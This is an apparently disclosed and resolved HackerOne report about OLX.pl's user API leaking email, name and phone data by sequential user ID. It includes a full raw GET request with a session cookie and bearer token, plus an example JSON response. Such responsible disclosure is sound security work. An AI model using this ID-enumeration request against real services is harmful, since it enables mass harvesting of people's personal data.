Name, email, phone and more disclosure on user ID (API)
Unknown
Vulnerability Details
Hello,
When I checked the OLX.pl app, I found out that when I click on a profile, personal information like email or phonenumber is exposed.
> GET https://ssl.olx.pl/api/v1/users/1/ HTTP/1.1
Host: ssl.olx.pl
Cookie: PHPSESSID=hb6utlcj860nd7p2jt6ha0tu71
Connection: keep-alive
Accept: */*
Version: v1.1
User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 10_0_1 like Mac OS X; en-us) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D5145e / iPhone App Ver 3.5.10
Accept-Language: pl
Authorization: Bearer d98f47721e5b2974e526f78438c3e32f6c939ec7
Accept-Encoding: gzip, deflate
When I request a GET request to https://ssl.olx.pl/api/v1/users/1/ (Notice: need to have Authorization header included) I get this JSON response:
> {
"data": {
"id": 1,
"email": " HIDDEN FOR HACKERONE ",
"created": "2009-02-02T22:17:30+01:00",
"last_login": "2016-07-20T07:11:33+02:00",
"is_business": false,
"name": " HIDDEN FOR HACKERONE ",
"show_photo": true,
"user_photo": null,
"social_network_account_type": null,
"sms_phone": null,
"is_online": false,
"last_seen": null,
"user_ads_url": "http://www.olx.pl/oferty/user/1/",
"position": null
}
}
This json includes email, name and phone number (if added to profile). This is information that should be hidden. Now it is easy to request every ID (1,2,3,...) and retrieve the information.
- Matthew
Actions
View on HackerOneReport Stats
- Report ID: 171917
- State: Closed
- Substate: resolved
- Upvotes: 7